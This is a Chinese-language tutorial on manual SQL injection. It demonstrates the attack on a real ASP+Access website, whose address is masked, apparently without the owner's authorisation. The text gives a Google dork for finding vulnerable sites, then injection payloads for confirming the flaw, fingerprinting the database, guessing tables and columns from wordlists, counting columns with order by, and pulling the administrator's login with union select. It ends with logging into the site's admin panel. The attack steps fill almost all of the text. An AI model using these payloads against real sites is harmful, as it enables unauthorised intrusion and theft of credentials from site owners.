
为了讲究学以致用,本文章将以实际的网站进行手工注入ASP+Access演示,同时也会为演示的网站做保密,屏蔽网站相关信息。
目标网站URL格式为:http://www.xxx.com/view.asp?id=2
使用谷歌搜索引擎输入
inurl:asp?id=N # N用数字代替注意:无法使用谷歌搜索引擎的,可以在火狐浏览器中安装一个谷歌上网助手即可解决。
谷歌搜索出来的结果并不都是我们想要的,需要择优选择进行测试

找到符合的ASP网站时,我们需要判断是否存在注入点。
判断方法:
先用引号判断注入,然后再在目标网站的URL后加上 and 1 = 1 网站正常并且 and 1 = 2 网站错误时, 则说明该点存在注入。
http://www.xxx.com/view.asp?id=2' # 错误回显
http://www.xxx.com/view.asp?id=2 and 1 = 1 # 正常回显
http://www.xxx.com/view.asp?id=2 and 1 = 2 # 错误回显Access和MSSQL都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表 msysobjects 中,但在WEB环境下读取该表会提示没有权限;MSSQL是在 sysobjects 中,在WEB环境下可正常读取。
判断方法1: 在网站的URL后输入 '; 错误回显,则说明是Access数据库。

判断方法2: 在网站的URL后输入 and (select count(*) from msysobjects)>0 ,返回结果是没有读取权限,则说明是Access数据库。
http://www.xxx.com/view.asp?id=2 and (select count(*) from msysobjects)>0
如果知道目标网站的开源源码,可以下载到本地,直接查看Access数据库对应的表即可;若没有,则需要自己猜解。
猜解时在网站的URL后加 and exists (select * from 猜测的表名) ,若网页返回正常,则说明该表存在,反之则不存在。以猜表名为admin为例,如此循环,一直猜到表名为止。
http://www.xxx.com/view.asp?id=2 and exists (select * from admin)经过测试,猜测表名为admin时,网页返回结果正常,说明存在admin表。
常用的表名:admin、user、news、manage、a_admin、x_admin、m_admin、m_admin、adminuser、admin_user、article_admin、administrator、manager、member、memberlist、users、Manage_User、user_info、admin_userinfo、login new 等等
知道存在admin表后,接下来就是猜账号和密码字段名。
猜解时在网站的URL后加 and exists (select 猜测的字段名 from admin) ,若网页返回正常,则说明该字段名存在,反之则不存在。以猜字段名为admin_name为例,如此循环,一直猜到字段名为止。
http://www.xxx.com/view.asp?id=2 and exists (select admin_name from admin)经过测试,存在admin_name字段名。
常用的字段名:username、password、id、adminusername、admin_username、adminname、admin_name、admin、adminuser、admin_user、user_name、user_admin、administrator、administrators、adminpassword、admin_pwd、adminpass、user_pass、admin_passwd、admin_password等等
猜解时在网站的URL后加 order by N (N代表自然数),N的值从小到大逐一增加,若网页返回正常,则说明N的值小于或等于实际字段数;N的值一直增加到页面报错为止,说明实际的字段数为N-1。
http://www.xxx.com/view.asp?id=2 order by 6 # 正常回显
http://www.xxx.com/view.asp?id=2 order by 7 # 错误回显经测试,N为6时正常回显,N为7是错误回显,说明实际字段数为6。
使用union select 1,2,3,4,5,6 from admin 测试数据在网页中回显的位置

经测试网页在3位置处回显了结果,于是在3的位置改为我们要查询的字段名admin_name。
http://www.xxx.com/view.asp?id=2 union select 1,2,admin_name,4,5,6 from admin经测试,页面返回了结果a,只有一个字母

为了验证结果的准确性,查询下该字段名admin_name的字段值长度
http://www.xxx.com/view.asp?id=2 union select 1,2,len(admin_name),4,5,6 from admin经测试,该字段值长度确实为1,即a就是admin_name的值

同理,经过测试,最终得到该账号的密码也是a。
对于网站的后台,可以使用御剑后台扫描工具或者其他类似工具进行查找。
这个网站的后台很简单,是最常见的 www.xxx.com/admin/login.asp 格式

最后,输入账号密码登录成功。
